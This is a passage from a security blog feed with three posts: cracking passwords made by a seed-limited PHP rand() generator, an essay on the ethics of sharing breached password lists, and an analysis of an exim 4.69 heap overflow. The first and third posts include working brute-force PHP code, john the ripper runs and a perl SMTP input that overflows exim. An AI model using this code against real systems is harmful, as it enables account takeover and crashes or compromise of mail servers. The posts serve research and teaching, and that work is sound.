&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#40ffff">srand</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">j</font><font color="#ffa500">)</font>;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'';
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars_length</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">strlen</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font><font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>-</b></font>&nbsp;<font color="#ffa0a0">1</font>;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>for</b></font>&nbsp;<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">0</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">length</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font><font color="#ffff60"><b>++</b></font><font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font>&nbsp;<font color="#ffff60"><b>.=</b></font>&nbsp;<font color="#40ffff">substr</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>, <font color="#ffa500">(</font><font color="#40ffff">rand</font><font color="#ffa500">()</font>&nbsp;<font color="#ffff60"><b>%</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars_length</font><font color="#ffa500">)</font>, <font color="#ffa0a0">1</font><font color="#ffa500">)</font>;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font><font color="#ffa500">(</font><font color="#40ffff">md5</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font><font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>==</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">hash</font><font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>return</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffa500">}</font>
&nbsp;&nbsp;<font color="#ffa500">}</font>
<font color="#ffa500">?&gt;</font>
</pre>
<p>Basically, we generate all million possible passwords and figure out which one it is. Easy!</p>
<p>I wrote a couple little test programs that basically just call those functions to confirm it works:</p>
<p>$ php password_reset.php 14<br />
Generated a 14-character, random password: 4fx@xpxtuos6ee (md5: ef949c5bd59359a5403caafa95d3c5f9)<br />
$ php password_reset.php 14<br />
Generated a 14-character, random password: 95h76tio0vbuh4 (md5: 8ad7fa746f82d90bee2bc38783ad7981)<br />
$ php password_reset.php 20<br />
Generated a 20-character, random password: qnhbk95a8m2sqvwrzieb (md5: 1a902b5f425555446186f346a62c7a53)</p>
<p>Now normally, all three of these would be impossible to crack. Typically, a 14-character password, chosen from a set of 38 different characters, has 13,090,925,539,866,773,438,464 different possibilities. Fortunately, as we saw earlier, the rand() is seeded with only a million possible seeds, and a million is definitely bruteforceable!</p>
<p>We've already seen the function to crack the passwords, so let's try it out:</p>
<pre>$ php ./password_reset_crack.php 14 ef949c5bd59359a5403caafa95d3c5f9
The password is: 4fx@xpxtuos6ee
$ php ./password_reset_crack.php 14 8ad7fa746f82d90bee2bc38783ad7981
The password is: 95h76tio0vbuh4
$ php ./password_reset_crack.php 20 1a902b5f425555446186f346a62c7a53
The password is: qnhbk95a8m2sqvwrzieb
</pre>
<p>And it isn't slow, either:</p>
<pre>$ time php ./password_reset_crack.php 20 1a902b5f425555446186f346a62c7a53
The password is: qnhbk95a8m2sqvwrzieb

real    0m3.732s
user    0m3.709s
sys     0m0.005s
</pre>
<p>So basically, we cracked a 20-character "random" password in under 4 seconds, w00t! (or, to quote a new friend, "WOOP WOOP WOOP WOOP")</p>
<h2>Cracking with john</h2>
<p>Let's say that instead of three passwords, you have a thousand. In fact, let's generate a whole bunch! You can <a href='/blogdata/14_character_hashes.txt.bz2'>try it yourself</a>, too. The file contains 5000 passwords in raw-md5 format (with a few duplicates thanks in part to the <a href='http://en.wikipedia.org/wiki/Birthday_paradox'>Birthday Paradox</a>). We're going to use john the ripper 1.7.6 with the Jumbo patch to try cracking them. By default, john fails miserably:</p>
<pre>
$ ./john --format=raw-md5 ./14_character_hashes.txt
Loaded 5000 password hashes with no different salts (Raw MD5 [raw-md5 64x1])
guesses: 0  time: 0:00:00:31 (3)  c/s: 20900M  trying: tenoeuf - tenoey5
Session aborted
</pre>
<p>Even at 20,000,000,000 checks/second, it's getting nothing. I can leave it all day and it will get nothing. These passwords are pretty much impossible to crack with brute force.</p>
<p>Now let's let john in on the secret and tell it the 1,000,000 possible passwords!</p>
<p>The first thing we do is write a quick php application to generate them:</p>
<pre>
<font color="#ffa500">&lt;?php</font>
&nbsp;&nbsp;<font color="#ff80ff">function</font>&nbsp;generate_random_password<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">length</font><font color="#ffa500">)</font>
&nbsp;&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'<font color="#ffa0a0">abcdefghijkmnopqrstuvwxyz023456789!@#$</font>';

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>for</b></font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">j</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">0</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">j</font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>&nbsp;<font color="#ffa0a0">1000000</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">j</font><font color="#ffff60"><b>++</b></font><font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#40ffff">srand</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">j</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'';
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars_length</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">strlen</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font><font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>-</b></font>&nbsp;<font color="#ffa0a0">1</font>;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>for</b></font>&nbsp;<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">0</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">length</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font><font color="#ffff60"><b>++</b></font><font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font>&nbsp;<font color="#ffff60"><b>.=</b></font>&nbsp;<font color="#40ffff">substr</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>, <font color="#ffa500">(</font><font color="#40ffff">rand</font><font color="#ffa500">()</font>&nbsp;<font color="#ffff60"><b>%</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars_length</font><font color="#ffa500">)</font>, <font color="#ffa0a0">1</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ff80ff">echo</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">passwd</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;&quot;<font color="#ffa500">\n</font>&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffa500">}</font>
&nbsp;&nbsp;<font color="#ffa500">}</font>

&nbsp;&nbsp;generate_random_password<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">argv</font><font color="#ffa500">[</font><font color="#ffa0a0">1</font><font color="#ffa500">])</font>;
<font color="#ffa500">?&gt;</font>
</pre>
<p>Then run it to prove it works:</p>
<pre>$ php ./generate_plaintext.php 14 | head
!@fju@5qx7@s4r
!@fju@5qx7@s4r
we#hqgerz4@oro
2zyemt2h7caer2
rwm!2mdw4!yatk
tzd!nz@!njsyso
tgkzg60k!k!84p
jwnmnd4#eo8@!r
s@4cbh0ki7j@qz
avxgx#5qv0y2tw
</pre>
<p>And send its output into a file:</p>
<pre>
$ php ./generate_plaintext.php 14 &gt; 14_character_plaintexts.txt
</pre>
<p>You can save some trouble and <a href='/blogdata/14_character_plaintexts.txt.bz2'>download it here</a> if you want to follow along.</p>
<p>Then we send that file into john and watch the magic...</p>
<pre>
$ rm john.pot
$ ./john --stdin --format=raw-md5 14_character_hashes.txt < 14_character_plaintexts.txt
Loaded 4231 password hashes with no different salts (Raw MD5 [raw-md5 64x1])
d3jg8b49vkh0qr   (?)
ikzryv@bf7!#o#   (?)
64z8r3x@bdgv4s   (?)
vzmh4beou7#n4s   (?)
vyh!2o7000j@8k   (?)
czdxguvc67fcfs   (?)
2fnvq4hf2ftms8   (?)
jqxouo#mxhnj5h   (?)
kabami3i@!ehgc   (?)
...
g@c840br06hje7   (?)
0@xg!6mx9npez4   (?)
ro6!t@pyahjq4v   (?)
cpqgc@g6h9hvks   (?)
ysf!t89543fv2u   (?)
guesses: 4231  time: 0:00:00:00  c/s: 2574M  trying: p2aiw#!s!7qho! - zhswbxxiho2e3u
</pre>
<p>As you can see, it loaded 4231 password hashes (there were less than 5000 due to collisions), and cracked them all. And it took 0 seconds. that's pretty darn good!</p>
<h2>Conclusion</h2>
<p>Now you've seen how we can very quickly crack a password generated with a bad algorithm. In my next blog, we'll see how we can crack one generated with an even worse algorithm, remotely! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2011/hacking-crappy-password-resets-part-1/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Ethics of password cracking/dissemination</title>
		<link>http://www.skullsecurity.org/blog/2011/ethics-of-password-crackingdissemination</link>
		<comments>http://www.skullsecurity.org/blog/2011/ethics-of-password-crackingdissemination#comments</comments>
		<pubDate>Mon, 24 Jan 2011 14:03:26 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Passwords]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1028</guid>
		<description><![CDATA[It's rare these days for me to write blogs that I have to put a lot of thought into. Most of my writing is technical, which comes pretty naturally, but I haven't written an argument since I minored in philosophy. So, if my old Ethics or Philosophy profs are reading this, I'm sorry! Introduction Anybody [...]]]></description>
			<content:encoded><![CDATA[<p>It's rare these days for me to write blogs that I have to put a lot of thought into. Most of my writing is technical, which comes pretty naturally, but I haven't written an argument since I minored in philosophy. So, if my old Ethics or Philosophy profs are reading this, I'm sorry! </p>
<h2>Introduction</h2>
<p>Anybody who follows my blog/work regularly know that I collect, crack, and disseminate password breaches. I have a <a href='/wiki/index.php/Passwords'>wiki page</a> devoted to breaches and dictionaries and I occasionally <a href='https://deepsec.net/docs/speaker.html#PSLOT17'>do talks</a> on the subject. And if you <a href='https://twitter.com/iagox86'>follow me on Twitter</a>, you'll see <a href='https://twitter.com/iagox86/status/17619856631275520'>regular</a> <a href='https://twitter.com/iagox86/status/17615145828089856'>updates</a> about password dictionaries. </p>
<p>The issue is, <a href='https://twitter.com/brainwagon/status/17619256166322177'>not</a> <a href='http://twitter.com/SimonLR/statuses/17984868306653185'>everybody</a> agrees with what I do (I was hoping to have more links in that sentence, but only two people actually said they thought it was wrong when I <a href='http://twitter.com/?status=@iagox86%20&#038;in_reply_to_status_id=17983590822318080&#038;in_reply_to=iagox86'>asked for comments on Twitter</a>). Fortunately, <a href='https://twitter.com/nikhil_mitt/statuses/17994429797244928'>many</a> <a href='https://twitter.com/LenIsham/statuses/18005375303294976'>more</a> <a href='https://twitter.com/ChrisJohnRiley/statuses/17987742487027712'>people</a> <a href='https://twitter.com/mruef/statuses/17986098747670528'>agreed</a> that I was doing something good. So I take that as a small victory... </p>
<p>Anyway, this post is going to cover some of the pros and cons of what I do, and why I think that I'm doing the right thing, helping the world, etc. </p>
<h2>Cons</h2>
<p><strong>#1: you're helping the bad guys</strong><br />
The issue I hear most often is that I'm making it easier for the bad guys, whether it's people trying to take over users' accounts or perform bruteforce attacks more efficiently. Now, keeping in mind that every security tool and piece of security research in some way helps both good guys and bad guys, this is why I'm comfortable that my work isn't benefiting bad guys in any significant way:</p>
<ul>
<li>The data I'm getting is *from* bad guys in the first place, which means that they already have it</li>
<li>My data contains no personally identifiable information... more on that later</li>
<li>The most common passwords are already known, and sites that use passwords like 'qwerty' on their admin account will be compromised anyways (and who would do something like that *cough<a href='http://scrollwars.com/'>darryl</a>cough*). The best thing I can do is raise awareness.</li>
</ul>
<p><strong>#2: you're actively harming people</strong><br />
This i largely covered by my response to the previous point, but I wanted to reiterate: I do my best to ensure nobody is harmed. </p>
<p>It's a well known fact that people use the same password in multiple places. If you have 100 accounts online that each require a 7+ character password (or 14+ characters if you want actual security), how are you supposed to remember them? Unique passwords for facebook, twitter, gmail, hotmail, gawker, every random forum you visit, and so on and so on. Without a password management tool, you're re-using passwords. This week I decided to bite the bullet and strengthen all my passwords. I have 14 accounts that I would consider "important", and that doesn't include my computers themselves, my PGP key, my SSH key, and so on and so on. </p>
<p>Now, the biggest danger in these password breaches is when somebody uses the same username/email address on a compromised site that they use on a more important site (their bank? Paypal? or, God forbid.... Facebook?) Attackers, armed with usernames and passwords, can wreak havoc on somebody's online life. I found a great story about the singles.org compromise, but unfortunately I can't find it again so <a href='http://www.computerworld.com.au/article/278298/exposed_christians_reminder_use_multiple_site_passwords/'>this one</a> will have to do. The basic idea is, after 4chan folks compromised singles.org's password database, they started using those passwords to log into Facebook, online banking, etc. </p>
<p>Another, more modern version of that is the suspected link between the <a href='http://nakedsecurity.sophos.com/2010/12/13/acai-berry-spam-gawker-password-hack-twitter/'>Gawker compromise and Açaí berry spam</a>. Though nothing has been proven, and just using that word is probably going to get me some spam, some people suspect a correlation between the attack and the spam. Matt Weir has tried to prove this link, but so far I believe his results have been inconclusive. </p>
<p>Now, what am I doing to protect people? Well, first and foremost, I don't release personally identifiable information. Ever. Most of the breaches I get contain usernames, email addresses, and sometimes more (in 3 or 4 cases, I've received entire dumps of databases!). And I don't release those. When people come to my site, they're getting aggregated password counts, which is pure statistical data, nothing more. (One thing I can't protect is people who use an email address as their password - you aren't fooling anybody!)</p>
<p>By making it easy to get the sanitized list of passwords, it's less likely people will look for, find, download, and distribute the full version - the version that, in my opinion, is far more dangerous. </p>
<p>Another point worth mentioning: I occasionally sit on lists for weeks or months to help minimize the potential damage they'll do to companies and their users. While I won't admit to sitting on any right now, I think it's important to judge whether or not a particular list can cause more harm than good if I release it, and to release it only when the amount of harm it can cause is minimized (that is, when we know the bad guys already have the list, so releasing it to the good guys doesn't matter anymore). </p>
<h2>Pros</h2>
<p>So, those are the only cons I can think of, though I have somewhat of a biased view. If you feel I missed something important, let me know and I'll do my best to respond! </p>
<p>Now, on to why I think I'm doing a *good* thing! </p>
<p><strong>#1: you're spreading the message on good password hashing</strong><br />
When I do talks, I discuss the benefits of good password hashing. Unsalted md5, we can usually crack 90% plus of all passwords; salted md5, probably closer to 70%. If a site uses <a href='http://codahale.com/how-to-safely-store-a-password/'>bcrypt</a> or something similar as the primary means of storing their passwords (sorry, Gawker, but using bcrypt only helps you if you don't store a weaker type beside it), I'd bet we'd have trouble cracking more than 25% of all passwords. </p>
<p>To all Web developers: algorithms matter! </p>
<p>Let's look at it this way: say a site loses 5.3 million passwords: If those passwords are unsalted (raw-md5, as john the ripper calls it), then we hash our first guess, compare it 5.3 million times, hash our second guess, compare 5.3 million times, etc. That means that for each md5() operation we perform, we can check 5.3 million hashes. If those hashes were salted, we'd hash once, compare to the first hash, hash the same guess with the second salt, compare to the second hash, and so on 5.3 million times. That means that, with salting, one md5() operation gets us one comparison. </p>
<p>But what's that mean?</p>
<p>It means that unsalted passwords, in a list with 5.3 million passwords, will crack <em>5.3 million times as fast</em> as salted passwords. I can average about 5,000,000 checks/second on my laptop against a single md5 hash, which means I can perform approximately 5,300,000 times that, or 26,500,000,000,000 checks/second against unsalted passwords. </p>
<p>To summarize:<br />
<strong>Salted hashes:</strong> 5 million checks/second<br />
<strong>Unsalted hashes</strong> 26.5 trillion checks/second</p>
<p>Taking it one step further, though - some algorithms, like WPA, bcrypt, and so on, are designed to be slow. Take bcrypt, for example - on my laptop, I can perform about 5 million checks/second for salted md5, and 17 checks/second for bcrypt. Compare 17 checks/second to the 26.5 trillion checks/second we saw earlier, against a large list, and the difference is astounding. Against the list of 5.3 million passwords, it would take us 86 hours to check each hash once. In other words, to guess '123456' for 5.3 million passwords, it would take over 3 days. Then guessing 'password' would take another 3 days, and so on. Basically, you could grow old and never crack more than a handful of passwords. </p>
<p>So, part of my goal is just that: teach people to use proper hashing algorithms! </p>
<p><strong>#2: you're demonstrating why passwords are fundamentally flawed</strong><br />
But even with bcrypt, it isn't going to help us any if an attacker can go to the Web interface, type in an admin username (oh, let's say, 'darryl'), and try the top 10 passwords (let's say, 'qwerty') and have full access to the site. As long as passwords exist, people are going to <a href='http://www.skullsecurity.org/blog/2010/hard-evidence-that-people-suck-at-passwords'>choose stupid passwords</a> and get compromised that way, no matter what kind of hashing, lockouts, etc are used. Additionally, people are going to install malware that logs their passwords, preventing the need from ever guessing them. </p>
<p>That's why passwords need to go away, or be enhanced. Somebody has to find a way to create ubiquitous two-factor authentication. That is, a second factor that can be safely used everywhere, and that's resistant to being stolen. I suspect it's a long way off, but it's something that I'll support when it starts becoming a reality. </p>
<p><strong>#3: you're providing research data/analysis</strong><br />
Everybody loves having hard data for their research. In the past I found it excessively hard to do any kind of research on passwords because getting the various compromises into one place was nearly impossible. But now, thanks to my efforts, you can calculate some pretty cool <a href='http://svn.skullsecurity.org:81/ron/security/2010-11-deepsec/data.ods'>data</a> on password breaches. </p>
<p><strong>#4: you're making password breaches less valuable</strong><br />
This is an interesting take on the issue that my friend had. Each breach that I mirror makes the breach itself, as well as other breaches, less valuable for a bad guy to have. It comes down to a supply and demand issue - if there's a large supply, it's unnecessary to get more. Therefore, people won't invest as much time, effort, or money into obtaining more breaches simply for their passwords. </p>
<p><strong>#5: you're helping us heat our houses this winter</strong><br />
Every machine that's cracking passwords is also <a href='https://twitter.com/_sid77/status/17620972215476224'>helping heat a house</a>, feel free to thank me for it. </p>
<p>But when global warming comes for us, don't blame me! </p>
<h2>Conclusion</h2>
<p>Hopefully you have some idea, now, of why I do what I do. In my mind, there's absolutely nothing unethical about distributing breached passwords as aggregate statistics (without personally identifiable information) and it helps the community a great deal. </p>
<p>I'd love to hear comments from anybody who agrees or disagrees! My email is in the sidebar at the top-right, and the comments below allow anonymous posting (assuming you can do simple math :) ), so please let me know how you feel! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2011/ethics-of-password-crackingdissemination/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Watch out for exim!</title>
		<link>http://www.skullsecurity.org/blog/2010/watch-out-for-exim</link>
		<comments>http://www.skullsecurity.org/blog/2010/watch-out-for-exim#comments</comments>
		<pubDate>Wed, 15 Dec 2010 14:24:49 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=995</guid>
		<description><![CDATA[Hey everybody, Most of you have probably heard of the exim vulnerability this week. It has potential to be a nasty one, and my brain is stuffed with its inner workings right now so I want to post before I explode! First off, if you're concerned that you might have vulnerable hosts, I wrote a [...]]]></description>
			<content:encoded><![CDATA[<p>Hey everybody,</p>
<p>Most of you have probably heard of the <a href='http://www.exim.org/lurker/message/20101207.215955.bb32d4f2.en.html'>exim vulnerability</a> this week. It has potential to be a nasty one, and my brain is stuffed with its inner workings right now so I want to post before I explode! </p>
<p>First off, if you're concerned that you might have vulnerable hosts, I wrote a plugin for <a href='http://nessus.org'>Nessus</a> to help you find them (I'm not sure if it's in the ProfessionalFeed yet - if it isn't, it will be soon). There's no Nmap script yet, but my sources tell me that it's in progress (keep an eye on <a href='https://twitter.com/iagox86'>my Twitter account</a> for updates on that). </p>
<h2>The vulnerability</h2>
<p>The vulnerability is actually a pretty old one. It was <a href='http://bugs.exim.org/show_bug.cgi?id=787'>fixed two years ago</a> (December of 2008). If you look at <a href='http://git.exim.org/exim.git/commitdiff/24c929a2'>the patch</a>, it doesn't tell you much. The obvious thing to do, then, is to <a href='http://exim.mirror.iphh.net/ftp/exim/exim4/exim-4.69.tar.bz2'>download the code</a> and try to break it! So let's do that... </p>
<p>The first step is to extract the source and compile it. My strategy was to keep running 'make' and fixing what it complained about until it shut up and compiled. Exim's compilation is annoying like that. You may have more luck reading the manual -- both good! </p>
<p>Once it's built, I decided to take a look at the patched function. It's called string_vformat() in src/string.c. It's very long, but here's the prototype:</p>
<pre>BOOL string_vformat(uschar *buffer, int buflen, char *format, va_list ap);</pre>
<p>Aha! buffer, buflen, format, and a va_list - it looks like sprintf() to me! Looking one function up, where it's called from, we find string_format(), which is basically a wrapper around string_vformat():</p>
<pre>BOOL string_format(uschar *buffer, int buflen, char *format, ...)</pre>
<p>Based on the patch and the nature of the function, it was obviously the %s format specifier that was being changed, and it seemed to have something to do with the bounds checking. Rather than reading/understanding all that complicated code, I decided to send stuff into that function and see if I could get it to write off its own buffer. Simple, eh?</p>
<p>So here's the first test I wrote (I took the lazy approach and replaced the real main() function in exim.c with this) (I swear this is the first thing I tried.. I must be lucky or something!):</p>
<pre>int main(int argc, char *argv[])
{
    char buffer[16];
    int i, j;

    for(i = 1; i < 8; i++)
    {
        memset(buffer, 0, 16);
        string_format(buffer, i, "TEST%s",
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
        for(j = 0; j < 16; j++)
            printf("%02x ", buffer[j]);
        printf("\n");
    }
    return 0;
}</pre>
<p>Simple enough! We start by setting the buffer length to 1, which should produce an empty string (since the string is terminated with a NULL byte '\x00'). Then we should see 'T', then 'TE', 'TES', etc. Here's what the result is:</p>
<pre>$ make
[...]
$ build-Linux-x86_64/exim
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
54 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00
54 45 53 00 00 00 00 00 00 00 00 00 00 00 00 00
54 45 53 54 41 41 41 41 41 41 41 41 41 41 41 41
54 45 53 54 00 00 00 00 00 00 00 00 00 00 00 00
54 45 53 54 41 00 00 00 00 00 00 00 00 00 00 00
Segmentation fault
</pre>
<p>Woah, what have we here? When the max length is set to 5, all hell breaks loose! It even manages to segfault my test program (thanks, obviously, to a stack overflow). A quick check shows us that the '%s' is exactly 5 characters into the string, which just happens to be 'buflen'. Testing with other strings will prove that if '%s' is at the index of 'buflen', 'buflen' is ignored and the string will be written right off the end of the buffer into whatever happens to be next. </p>
<p>Now, that leads to the obvious question: where can we find a case where we can control 'buflen' to ensure that '%s' ends up in exactly the right place? That's a rare condition indeed! And this is where I got a little stuck. To help track it down, I added some output to string_vformat() that displays the format string, buflen, and the output every time it runs. Then I did some normal transactions and looked at the output. Here's how (remove the newlines to test this yourself.. I only have so much horizontal room to work with):</p>
<pre>echo -ne 'EHLO domain\r\nMAIL FROM: test@test.com\r\n
    RCPT TO: test@localhost\r\nDATA\r\n
    This is some data!\r\n.\r\n' | sudo ./exim -bs</pre>
<p>This builds an SMTP request with echo and sends it to the exim binary. 'exim -bs' is how exim is run when it's used as inetd, which means it's expecting network traffic to come in stdin. Here are the strings that came into string_vformat():</p>
<pre>string_vformat: [250] 'initializing' => initializing
string_vformat: [48] '%s' => root
string_vformat: [128] '%s' => /root
string_vformat: [128] '%s' =>
string_vformat: [128] '%s' => /bin/bash
string_vformat: [250] 'accepting a local %sSMTP message from <%s>' =>
accepting a local SMTP message from <root>
string_vformat: [32768] 'SMTP connection from %s' => SMTP connection from root
string_vformat: [32768] '%s/log/%%slog' => /var/spool/exim/log/%slog
string_vformat: [8171] '%s' => SMTP connection from root
string_vformat: [16384] '%s' => 220 ankh ESMTP Exim 4.69
Tue, 14 Dec 2010 20:01:28 -0600

string_vformat: [32768] '%.3s %s Hello %s%s%s' => 250 ankh Hello root at domain
string_vformat: [16384] '250 OK
' => 250 OK

string_vformat: [32768] 'ACL "%s"' => ACL "acl_check_rcpt"
string_vformat: [16384] '250 Accepted
' => 250 Accepted

string_vformat: [16384] '354 Enter message, ending with "." on a line by itself
' => 354 Enter message, ending with "." on a line by itself

string_vformat: [208] ' id=%s' =>  id=1PSggK-0002bd-0P
string_vformat: [32768] '%sMessage-Id: <%s%s%s@%s>
' => Message-Id: <E1PSggK-0002bd-0P@ankh>

string_vformat: [32768] '%sFrom: %s%s%s%s
' => From: test@test.com

string_vformat: [32768] '%sDate: %s
' => Date: Tue, 14 Dec 2010 20:01:28 -0600

string_vformat: [32768] '%s; %s
' => Received: from root (helo=domain)
        by ankh with local-esmtp (Exim 4.69)
        (envelope-from <test@test.com>)
        id 1PSggK-0002bd-0P
        for test@localhost; Tue, 14 Dec 2010 20:01:28 -0600

string_vformat: [32768] 'ACL "%s"' => ACL "acl_check_data"
string_vformat: [8154] '%s' => <= test@test.com U=root P=local-esmtp S=294
string_vformat: [256] '/var/spool/exim/log/%slog' => /var/spool/exim/log/mainlog
string_vformat: [16384] '250 OK id=%s
' => 250 OK id=1PSggK-0002bd-0P

string_vformat: [128] '%s lost input connection' => ankh lost input connection
string_vformat: [16384] '%s %s
' => 421 ankh lost input connection

string_vformat: [32768] 'SMTP connection from %s' => SMTP connection from root
string_vformat: [8171] '%s lost%s' => SMTP connection from root lost
</pre>
<p>Looking down that list, none of those are obvious places where we can control the length of the format string. Damn! I tried a bunch of other variations without any luck. Things weren't looking good.. I was stuck! </p>
<p>Fortunately, <a href='http://www.exim.org/lurker/message/20101207.215955.bb32d4f2.en.html'>the original post</a> had a mostly complete packet dump. After playing for awhile, I finally figured out that sending a bunch of DATA headers, plus the 50mb of garbage, did something interesting! Here's the command I used (again, remove the linebreaks to try this):</p>
<pre>$ perl -e 'print "EHLO domain\r\nMAIL FROM: test@test.com\r\n
    RCPT TO: test@localhost\r\nDATA\r\n" . "This: is some data\r\n"x100 .
    "This is more data!\r\n"x5000000 . "\r\n.\r\n"' | ./exim -bs</pre>
<p>And here's how the log looked:</p>
<pre>string_vformat: [8018] '%c %s' =>   This: is some data
string_vformat: [7997] '%c %s' =>   This: is some data
string_vformat: [7976] '%c %s' =>   This: is some data
string_vformat: [7955] '%c %s' =>   This: is some data
string_vformat: [7934] '%c %s' =>   This: is some data
string_vformat: [7913] '%c %s' =>   This: is some data
string_vformat: [7892] '%c %s' =>   This: is some data
.....down to 0</pre>
<p>Great, this looks good! ... but why does it work?</p>
<p>Well, it turns out that if a message is rejected (because, for example, it's too large), the headers for the message are logged in a buffer, one at a time. When each one is logged, the buffer is shortened, which means by tweaking the length of the headers we can control the 'buflen' field. Since the format specifier '%s' is at the third character in the string, we want to end up with three bytes left then add a huge string to the buffer that overwrites the heap. </p>
<p>So now, we do a whole lot of complicated math and a ton of patience, we whittle the buffer to three bytes, then overflow the crap out of it:</p>
<pre>$ perl -e 'print "EHLO domain\r\nMAIL FROM: test@test.com\r\n
    RCPT TO: test@localhost\r\nDATA\r\n" . "This: is some data\r\n"x381 .
    "Final: AAAA\r\nBoom: " . "A"x50000 . "This is more data!\r\n"x5000000 .
    "\r\n.\r\n"' | ./exim -bs
220 ankh ESMTP Exim 4.69 Tue, 14 Dec 2010 20:19:10 -0600
250-ankh Hello ron at domain
250-SIZE 52428800
250-PIPELINING
250 HELP
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
Segmentation fault
</pre>
